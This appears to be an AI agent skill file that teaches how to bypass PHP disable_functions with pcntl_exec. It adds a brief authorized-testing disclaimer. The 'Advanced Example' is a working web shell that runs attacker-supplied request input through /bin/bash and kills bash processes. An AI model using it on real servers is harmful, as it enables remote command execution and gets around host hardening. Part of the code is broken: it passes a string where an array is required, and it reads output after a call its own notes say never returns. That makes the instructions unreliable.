PHP pcntl_exec Bypass for Disabled Functions
This skill helps you bypass disable_functions restrictions in PHP 4 >= 4.2.0 and PHP 5 using the pcntl_exec function.
When to Use
- Testing PHP applications for command execution vulnerabilities
- Analyzing
disable_functionsconfigurations - When standard PHP functions (exec, system, shell_exec, etc.) are blocked
- Security assessments and penetration testing (authorized only)
Prerequisites
- PHP 4 >= 4.2.0 or PHP 5
pcntlextension must be enabledpcntl_execmust not be indisable_functions
Basic Usage
<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';
$arg = array($cmd, $option, $dir);
pcntl_exec($pathtobin, $arg);
echo '123';
?>
Key Points
pcntl_execreplaces the current process with a new one- Code after
pcntl_execwill not execute - The function takes a binary path and an array of arguments
- Useful when other execution functions are disabled
Advanced Example
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
$cmd = $cmd."&pkill -9 bash >out";
pcntl_exec("/bin/bash", $cmd);
echo file_get_contents("out");
} else {
echo 'pcntl extension not available';
}
?>
Security Considerations
- Only use in authorized security testing
- Document findings properly
- Report vulnerabilities to system owners
- Never use for malicious purposes
References
- Safebuff Blog - disable_functions bypass
- PHP pcntl documentation
- OWASP Command Injection